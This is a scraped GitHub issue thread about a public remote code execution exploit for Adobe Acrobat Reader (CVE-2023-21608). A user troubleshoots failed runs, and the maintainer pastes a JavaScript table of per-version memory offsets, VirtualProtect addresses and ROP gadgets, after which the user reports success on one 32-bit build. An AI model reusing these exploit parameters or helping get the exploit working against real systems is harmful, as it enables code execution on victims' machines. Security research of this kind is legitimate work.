Giters

hacksysteam / CVE-2023-21608

Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit

Home Page:https://hacksys.io/blogs/adobe-reader-resetform-cagg-rce-cve-2023-21608

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

It fails in version 22.003.20282

ricnar456 opened this issue · comments

commented

in version

image

it fails with this error

image

javascript debugger opens automatically and ends here
image

commented

@ricnar456 the exploit only supports 32bit that's why it's failing on 64bit

commented

triyng in a 32 bits vulnerable version

image

commented

it fails

image

commented

Trying in the last vulnerable version

image

commented

in this version does not have the previous error but it closes without executing calc

commented

in more attempts the error is displayed again

image

commented

@ricnar456 Currently, the exploit only supports these versions as these were tested.

const VersionData = {
    22.00120085: {
        AcroFormOffset: 0x00293fe0,
        VirtualProtect: 0x007da108,
        ROP: [0x6faa60, 0x256984, 0x1e646]
    },
    22.00120117: {
        AcroFormOffset: 0x00293fe0,
        VirtualProtect: 0x007d9108,
        ROP: [0x6f9900, 0x256974, 0x5030f9]
    },
    22.00120142: {
        AcroFormOffset: 0x00294060,
        VirtualProtect: 0x007d9108,
        ROP: [0x6f9a00, 0x256a14, 0x49caf7]
    },
    22.00320258: {
        AcroFormOffset: 0x002943c0,
        VirtualProtect: 0x007da108,
        ROP: [0x6fa7a0, 0x32c71 /*xchg eax, esp ; RET ;*/, 0x1a4592 /*pop esp ; ret; */]
    }
};
commented

it seems to work in 22.00320258 32 bits, thanks

commented

@ricnar456 Could you please tell me where you get the older version installer of Adobe Acrobat Reader DC? Thanks

commented